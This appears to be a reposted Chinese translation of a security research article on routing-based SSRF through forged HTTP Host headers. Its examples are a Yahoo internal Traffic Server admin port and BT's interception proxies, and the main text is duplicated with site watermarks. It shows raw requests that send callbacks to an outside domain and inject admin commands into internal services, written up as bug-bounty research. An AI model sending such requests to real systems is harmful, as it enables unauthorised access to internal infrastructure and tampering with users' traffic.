欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

针对HTTP的隐藏攻击面分析(中)

来源: 作者: 时间:2019-02-24 21:00 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

为了增强用户体验度,现代Web网站架构中都包含了各种各样的“隐藏系统”,这些系统不仅可以给用户提供各种额外的服务,而且还可以帮助管理员提取网站各方面的分析数据。但是,这些隐藏系统同样也是近些年里经常被人们忽略的隐形攻击面。

在本系列文章的上集,我们对现代Web应用架构中的隐藏系统以及隐藏服务进行了简单描述,并且介绍了本系列文章中所要使用的工具以及技术。接下来,我们将用实际的例子来给大家进行详细的介绍。
三、请求误传
1.无效主机
触发一次回调最简单的方法就是发送一个错误的HTTP Host头:
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
虽然这项技术大家很多年前就已经知道了,但是这种技术真正的能力却被人们大大低估了-我用这项技术成功入侵了二十七台美国国防部、我的互联网服务提供商、以及某哥伦比亚ISP的服务器。为了让大家更清楚地了解这种漏洞的严重程度,我们先看看下面这台雅虎的内部服务器(存在漏洞,域名为http://ats-vm.lorax.bf1.yahoo.com/)。
乍看之下,我们貌似看不出服务器运行了哪些软件:
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
但是在不到一分钟之后,我不仅弄清楚了服务器运行了哪些软件,而且我还知道怎么去跟它进行通信,这一切多亏了‘HELP’命令:
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
  Traffic Server Overseer Port
  commands:
    get
    set  = ""
    help
    exit
  example:
    Ok
    get proxy.node.cache.contents.bytes_free
    proxy.node.cache.contents.bytes_free = "56616048"
    Ok
  Variable lists are conf/yts/stats records, separated by commas
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
服务器端所返回的每一行“Unknown Command”都会将请求中的每一行信息解析成单独的命令,因为它使用了一种换行符终止协议,所以我们无法通过传统的SSRF来利用这个漏洞。不过幸运的是,基于路由的SSRF灵活性更高,所以我可以采用GET请求来发送包含了任意命令的POST-style主体:
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34
GET proxy.config.alarm_email
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = nobody@yahoo-inc.com
在‘SET’命令的帮助下,我可以随意修改雅虎负载均衡池中的配置,包括启用SOCKS代理并提升我IP地址的权限(可向他们的缓存池中推送数据)。我发现这个安全问题之后便立刻将其上报给了雅虎,我的努力也让我收获了一万五千美刀的漏洞奖金。就在几周之后,我又用同样的方法发现了另一台包含相同漏洞的服务器,然后又拿到了额外的五千美刀奖金...
2.分析英国电信(BT)
在测试了‘无效主机’这项技术之后,我发现之前给完全不相关的公司所发送的Payload竟然得到的是一堆有限IP池所返回的Pingback,其中还包括cloud.mail.ru。我一开始假设,这些公司肯定使用的是相同的云端Web应用防火墙解决方案,而我就可以想办法将我所发送的请求传到它们的内部管理员接口了。但事实并非如此,这个IP池的反向DNS解析到的地址是bn-proxyXX.ealing.ukcore.bt.net,而这个地址属于英国电信集团,也就是我公司的互联网服务提供商。于是我打算使用Burp Repeater来进行深入分析,你可以从下图中看到,响应信息的延迟为50ms,这个速度快得有些可疑了,因为这个请求-响应信息需要从英国发送到俄罗斯,然后再经过爱尔兰服务商的数据中心最终从俄罗斯回到英国。TCP跟踪路由(端口80)向我们揭露了真相:

当我尝试与cloud.mail.ru建立TCP链接时,链接被我的ISP中断了(我的流量是通过TCP端口443(HTTPS)发送的,并且消息没有被篡改)。这也就意味着,负责篡改流量的实体并没有mail.ru的TLS证书,因此消息的拦截并没有得到mail.ru的许可。这样一来,我就可以在办公室或家里照着做,而且我还可以通过这种方法入侵GHCQ的系统,但问题又绕回来了-这些系统到底是干嘛的?
为了弄清楚这些系统的真实用途,我使用Masscan来ping了整个IPv4地址空间 (TCP端口80,TLL=10)。过滤掉了缓存和自托管网站之后,我得到了一套完整的目标IP地址列表,而这些IP地址背后的系统主要是用来阻止其他用户访问受保护内容的。访问黑名单列表中的IP地址后,请求会被重定向到一个代理池中,这样它们就能够审查请求所使用的HTTP host头了:
GET / HTTP/1.1
Host: www.icefilms.info
HTTP/1.1 200 OK
...
Access to the websites listed on this page has been blocked pursuant to orders of the high court.
但是,我们可以在不修改host头的情况下绕过这种屏蔽机制,不过在本系列文章中我们就不做深入探讨了。
这种设置会导致以下几种结果。多亏了虚拟主机的存在,我们可以将类似Google站点这样的云主机添加到黑名单中,意味着Google用户以及英国电信用户发送给它们的全部流量都会经过代理服务器。从服务器(黑名单中)的角度来看,所有的英国电信用户共享一个相同的IP地址池,这会导致攻击者将英国电信的代理IP加入黑名单,从而无法正常访问其他站点,并影响所有的英国电信用户。除此之外,我还使用了之前提到的管理员访问漏洞入侵了代理服务器的管理员面板,所以我就可以对代理服务器进行重新配置并向数百万英国电信用户的网络流量中注入任意内容了。

[1] [2]  下一页

为了增强用户体验度,现代Web网站架构中都包含了各种各样的“隐藏系统”,这些系统不仅可以给用户提供各种额外的服务,而且还可以帮助管理员提取网站各方面的分析数据。但是,这些隐藏系统同样也是近些年里经常被人们忽略的隐形攻击面。

www.wnhack.com

在本系列文章的上集,我们对现代Web应用架构中的隐藏系统以及隐藏服务进行了简单描述,并且介绍了本系列文章中所要使用的工具以及技术。接下来,我们将用实际的例子来给大家进行详细的介绍。
三、请求误传
1.无效主机
触发一次回调最简单的方法就是发送一个错误的HTTP Host头:
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
虽然这项技术大家很多年前就已经知道了,但是这种技术真正的能力却被人们大大低估了-我用这项技术成功入侵了二十七台美国国防部、我的互联网服务提供商、以及某哥伦比亚ISP的服务器。为了让大家更清楚地了解这种漏洞的严重程度,我们先看看下面这台雅虎的内部服务器(存在漏洞,域名为http://ats-vm.lorax.bf1.yahoo.com/)。
乍看之下,我们貌似看不出服务器运行了哪些软件:
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command

无奈人生安全网


Ok
但是在不到一分钟之后,我不仅弄清楚了服务器运行了哪些软件,而且我还知道怎么去跟它进行通信,这一切多亏了‘HELP’命令:
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
  Traffic Server Overseer Port
  commands:
    get
    set  = ""
    help
    exit
  example:
    Ok
    get proxy.node.cache.contents.bytes_free
    proxy.node.cache.contents.bytes_free = "56616048"
    Ok
  Variable lists are conf/yts/stats records, separated by commas
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
服务器端所返回的每一行“Unknown Command”都会将请求中的每一行信息解析成单独的命令,因为它使用了一种换行符终止协议,所以我们无法通过传统的SSRF来利用这个漏洞。不过幸运的是,基于路由的SSRF灵活性更高,所以我可以采用GET请求来发送包含了任意命令的POST-style主体: copyright 无奈人生
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34
GET proxy.config.alarm_email
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = nobody@yahoo-inc.com
在‘SET’命令的帮助下,我可以随意修改雅虎负载均衡池中的配置,包括启用SOCKS代理并提升我IP地址的权限(可向他们的缓存池中推送数据)。我发现这个安全问题之后便立刻将其上报给了雅虎,我的努力也让我收获了一万五千美刀的漏洞奖金。就在几周之后,我又用同样的方法发现了另一台包含相同漏洞的服务器,然后又拿到了额外的五千美刀奖金...
2.分析英国电信(BT)
在测试了‘无效主机’这项技术之后,我发现之前给完全不相关的公司所发送的Payload竟然得到的是一堆有限IP池所返回的Pingback,其中还包括cloud.mail.ru。我一开始假设,这些公司肯定使用的是相同的云端Web应用防火墙解决方案,而我就可以想办法将我所发送的请求传到它们的内部管理员接口了。但事实并非如此,这个IP池的反向DNS解析到的地址是bn-proxyXX.ealing.ukcore.bt.net,而这个地址属于英国电信集团,也就是我公司的互联网服务提供商。于是我打算使用Burp Repeater来进行深入分析,你可以从下图中看到,响应信息的延迟为50ms,这个速度快得有些可疑了,因为这个请求-响应信息需要从英国发送到俄罗斯,然后再经过爱尔兰服务商的数据中心最终从俄罗斯回到英国。TCP跟踪路由(端口80)向我们揭露了真相:
内容来自无奈安全网


当我尝试与cloud.mail.ru建立TCP链接时,链接被我的ISP中断了(我的流量是通过TCP端口443(HTTPS)发送的,并且消息没有被篡改)。这也就意味着,负责篡改流量的实体并没有mail.ru的TLS证书,因此消息的拦截并没有得到mail.ru的许可。这样一来,我就可以在办公室或家里照着做,而且我还可以通过这种方法入侵GHCQ的系统,但问题又绕回来了-这些系统到底是干嘛的?
为了弄清楚这些系统的真实用途,我使用Masscan来ping了整个IPv4地址空间 (TCP端口80,TLL=10)。过滤掉了缓存和自托管网站之后,我得到了一套完整的目标IP地址列表,而这些IP地址背后的系统主要是用来阻止其他用户访问受保护内容的。访问黑名单列表中的IP地址后,请求会被重定向到一个代理池中,这样它们就能够审查请求所使用的HTTP host头了:
GET / HTTP/1.1
Host: www.icefilms.info
HTTP/1.1 200 OK
...
Access to the websites listed on this page has been blocked pursuant to orders of the high court.
内容来自无奈安全网

但是,我们可以在不修改host头的情况下绕过这种屏蔽机制,不过在本系列文章中我们就不做深入探讨了。
这种设置会导致以下几种结果。多亏了虚拟主机的存在,我们可以将类似Google站点这样的云主机添加到黑名单中,意味着Google用户以及英国电信用户发送给它们的全部流量都会经过代理服务器。从服务器(黑名单中)的角度来看,所有的英国电信用户共享一个相同的IP地址池,这会导致攻击者将英国电信的代理IP加入黑名单,从而无法正常访问其他站点,并影响所有的英国电信用户。除此之外,我还使用了之前提到的管理员访问漏洞入侵了代理服务器的管理员面板,所以我就可以对代理服务器进行重新配置并向数百万英国电信用户的网络流量中注入任意内容了。

www.wnhack.com

[1] [2]  下一页 www.wnhack.com

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。